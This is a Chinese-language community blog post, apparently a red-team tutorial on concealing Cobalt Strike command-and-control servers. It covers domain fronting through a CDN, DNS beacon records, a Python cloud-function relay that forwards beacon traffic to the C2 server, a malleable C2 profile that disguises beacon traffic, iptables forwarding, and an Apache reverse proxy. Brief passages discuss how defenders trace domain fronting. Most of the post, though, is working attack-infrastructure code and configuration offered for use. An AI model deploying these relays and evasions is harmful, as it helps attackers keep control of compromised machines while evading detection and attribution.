前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【红队APT】反朔源隐藏&C2项目&CDN域前置&云函数&数据中转&DNS转发

【红队APT】反朔源隐藏&C2项目&CDN域前置&云函数&数据中转&DNS转发

作者头像
没事就要多学习
发布2024-07-18 15:41:21
1450
发布2024-07-18 15:41:21
举报
文章被收录于专栏:Cyber Security
域前置-CDN隐藏C2真实IP 防止被溯源

国内外云服务上大部分已经不支持域前置了,作者在阿里云刚刚复现成功…… 这里做简单的流程演示和相关的溯源分析

什么是域前置

区别于单纯的CDN隐藏IP技术;域前置技术采用高权重域名进行伪装,效果要更上一层楼!

在这里插入图片描述
在这里插入图片描述
条件

对自己的域名开启全站加速(DCDN服务),这里我使用的是阿里云

在这里插入图片描述
在这里插入图片描述

关于域名解析等琐碎的事情,这里省略了……当然添加SLL证书的话效果会更好 超级ping获得各个节点的ip,选择一个ip进行域名反查,获取其中高信誉的域名(权重高、知名域名) 如图所示新增监听器

在这里插入图片描述
在这里插入图片描述

https host header是载荷通信传输命令和结果的请求地址,流量审查的时候,https请求证书的地址为www.baidu.com。而实际与cs.whgojp.top进行数据交互

原理

注意上图中填写的host Header 部分 cs.whgojp.top 单次请求类似于下方

代码语言:javascript
复制
curl -v -H "host:cs.whgojp.top" https://www.baidu.com

意思是请求百度站点,但因为指定了host,所以实际上请求的是同服务器上的cs.whgojp.top站点。 当我们请求一个部署了 CDN 服务的域名时,实际上也默认使用了云厂商内部的解析器。 而云厂商内部的解析器,实际会根据 Header 中的 Host 字段判断回源域名,最后效果是,请求内容以Host字段为准。

在这里插入图片描述
在这里插入图片描述

这里可以看到实际返回的结果还是百度的,并没有返回https://cs.whgojp.top上面的请求数据 因为厂商不支持域前置,而且此处的www.baidu.com CDN节点ip与我的并不相同。这里只是做演示 那么如果存在域前置的话,这里返回的数据应该和下方请求相同

代码语言:javascript
复制
curl -v host:cs.whgojp.top

cs.whgojp.top代表着我们的恶意站点,www.baidu.com就是同服务器上的其它一个高可信站点,利用域前置,审查流量时显示的就是高可信域名,而看不到我们的恶意域名,所以可用来逃避流量审查,隐藏真实IP。

完整复现

复现成功 之前复现的时候反查ip啥也没查出来(平台问题),今天又试了试,换了好几家平台,终于成功了 这里使用的是奇安信态势感知平台进行ip反查域名

在这里插入图片描述
在这里插入图片描述

这里我没有找到信誉特别高的域名,而且几乎所有的域名后都加了w.kunlunaq.com 后缀(不知道这是不是什么防御措施) 这里找到一个不带后缀的域名

代码语言:javascript
复制
curl -v -H "host:cs.whgojp.top" https://cdn.jijyun.cn	#不知名网站 凑合复现
在这里插入图片描述
在这里插入图片描述

成功就解析到cs.whgojp.top页面上,也就是说存在域前置(阿里云还是可以使用域前置技术的)

进行简单上线,抓包分析,成功复现!!!

在这里插入图片描述
在这里插入图片描述

而且这里的外联IP和云函数一样不停的在变化。 试想一下:域前置+修改CS profile原生特征(header字段 心跳包频率 ssl证书等)+傀儡机代理+域名不备案(别人的域名)+等等等等 这怎么溯源? 这里简单分析一下上线流量数据包

在这里插入图片描述
在这里插入图片描述

这加密后的https啥也看不出来啊……

域前置溯源

前几天面试问到了使用了域前置怎么溯源? emmm 这里拿自己生成的样本payload进行简单溯源 条件:样本Payload,

在这里插入图片描述
在这里插入图片描述

通过Banner信息测绘与基于样本通信特征扫描的方式获取域前置的真正Host 1、根据已经拿到的资产获取Web指纹(开放的服务及版本、端口等)、Banner信息,分析获取测绘特征。 2、根据测绘特征在Zoomeye、Fofa、Shodan等平台搜索,通过时间、地区等条件初步筛选,获得资产列表,这个列表可能很大。 3、通过分析样本,获取通信特征(Uri、回包大小、Header等)向资产列表发通信包,动态过滤;根据已有资产规则(IP段分布、IDC服务商、域名构造特征、证书服务商等)人工静态过滤,得到较精确的网络资产列表。

节选自:https://www.anquanke.com/post/id/260888#h2-10

DNS协议-域名记录解析

1、域名解析设置A,NS记录

代码语言:javascript
复制
ns1 ns cs.xxx.com
ns2 ns cs.xxx.com
cs  A  xx.xx.xx.xx(CS的IP)
在这里插入图片描述
在这里插入图片描述

2、CS监听器-DNS Beacon DNS DNS地址配置:

代码语言:javascript
复制
ns1.xxx.com
ns2.xxx.com
在这里插入图片描述
在这里插入图片描述

3、执行后checkin唤醒

在这里插入图片描述
在这里插入图片描述

这个DNS上线早在内网渗透过程中已经做过相关解释

在这里插入图片描述
在这里插入图片描述

云函数-腾讯云操作

1、创建云函数 腾讯云-云产品-云函数-函数服务-新建 2、创建函数服务 选择从头开始-函数类型选择事件函数-函数名称任意- 运行环境选择python3.6-并复制如下代码并修改CS的IP-点击完成

代码语言:javascript
复制
#-*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
    C2='https://XXXX'  # 修改为自己C2服务器地址
    path=event['path']
    headers=event['headers']
    print(event)
    if event['httpMethod'] == 'GET' :
        resp=requests.get(C2+path,headers=headers,verify=False) 
    else:
        resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
        print(resp.headers)
        print(resp.content)

    response={
        "isBase64Encoded": True,
        "statusCode": resp.status_code,
        "headers": dict(resp.headers),
        "body": str(base64.b64encode(resp.content))[2:-1]
    }
    return response

3、创建触发器 触发方式选择API网关触发-勾选启用集成响应-点击提交 4、配置触发器 点击API服务名对触发器进行配置 将路径修改为/,然后点击立即完成 5、配置profile文件-触发URL

代码语言:javascript
复制
set sample_name "t";
set sleeptime "3000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

http-get {

    set uri "/api/x";

    client {
        header "Accept" "*/*";
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "Nodejs";
        output {
            base64;
            print;
        }
    }
}
http-stager {  
    set uri_x86 "/vue.min.js";
    set uri_x64 "/bootstrap-2.min.js";
}
http-post {
    set uri "/api/y";
    client {
        header "Accept" "*/*";
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
        }
        output {
            base64;
            print;
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {
            base64;
            print;
        }
    }
}
在这里插入图片描述
在这里插入图片描述

这里不做云函数相关配置演示 6、启动CS加载profile

代码语言:javascript
复制
./teamserver IP 密码 xxx.profile

7、CS新添监听器

在这里插入图片描述
在这里插入图片描述

以该监听器生成后门进行上线有一个有意思的特点就是external IP 不停的在变化(而且都是腾讯云的IP)

云函数隐藏真实IP上线

这里使用火绒剑看下上线主机外联IP

在这里插入图片描述
在这里插入图片描述

这里可以看下,上面是使用云函数上线的后门(连接腾讯云下某ip),下面是未使用云函数的后门(正常连接恶意服务器) 查一下该IP归属175.24.155.20

在这里插入图片描述
在这里插入图片描述

成功隐藏自己真实IP,因为IP不停的在变化,即使封掉该IP也会有其他节点IP进行上线 毕竟使用云函数服务是需要Money的emmm

在这里插入图片描述
在这里插入图片描述

腾讯云后台云函数API调用数据

云函数如何溯源

最近面蓝护,学到什么都要想一想怎么溯源 篇幅过长,放在了下篇文章了……

端口转发-Iptables

1、转发机设置转发:(80改443即https)这里我使用同C段下kali进行转发

代码语言:javascript
复制
iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 47.94.130.42:80
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -I FORWARD -j ACCEPT
iptables -P FORWARD ACCEPT
sysctl net.ipv4.ip_forward  =1
在这里插入图片描述
在这里插入图片描述

2、CS监听器配置转发机IP CS新建监听器10.10.10.146

在这里插入图片描述
在这里插入图片描述

上线之后,其实只是做了一个简单的流量转发,IP封掉就下线

在这里插入图片描述
在这里插入图片描述

中间件反向代理-Apache

1、代理机安装Apache:

代码语言:javascript
复制
apt-get install apache2
a2enmod proxy proxy_ajp proxy_balancer proxy_connect proxy_http
systemctl restart apache2
/etc/apache2/sites-enabled/000-default.conf

2、中间件设置转发:

代码语言:javascript
复制
http:
ProxyPass "/" "http://CS的IP/"
ProxyPassReverse "/" "http://CS的IP/"
https:
ProxyPass "/" "https://CS的IP/"
ProxyPassReverse "/" "https://CS的IP/"

3、重启Apache服务

代码语言:javascript
复制
service apache2 restart

4、CS监听器配置转发机IP

在这里插入图片描述
在这里插入图片描述

可以看到这里正常上线,也是简单的进行流量代理,这里我把上面的iptables转发配置清空了,避免干扰

注:

如果中转服务器被拿下的话,那么搜集信息很可能就可以发现请求重定向的痕迹,从而找到真实C2地址。 请求重定向也可以和之前的CDN方法相结合,之前CDN方法是通过CDN将请求转发到真实的C2服务器上,而添加请求重定向后,流程就变为了CDN转发到中转服务器,中转服务器再转到C2,达到双重隐藏的效果。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2024-07-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 域前置-CDN隐藏C2真实IP 防止被溯源
  • 什么是域前置
    • 条件
      • 原理
      • 完整复现
      • 域前置溯源
      • DNS协议-域名记录解析
      • 云函数-腾讯云操作
        • 云函数如何溯源
        • 端口转发-Iptables
        • 中间件反向代理-Apache
        相关产品与服务
        云函数
        云函数(Serverless Cloud Function,SCF)是腾讯云为企业和开发者们提供的无服务器执行环境,帮助您在无需购买和管理服务器的情况下运行代码。您只需使用平台支持的语言编写核心代码并设置代码运行的条件,即可在腾讯云基础设施上弹性、安全地运行代码。云函数是实时文件处理和数据处理等场景下理想的计算平台。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档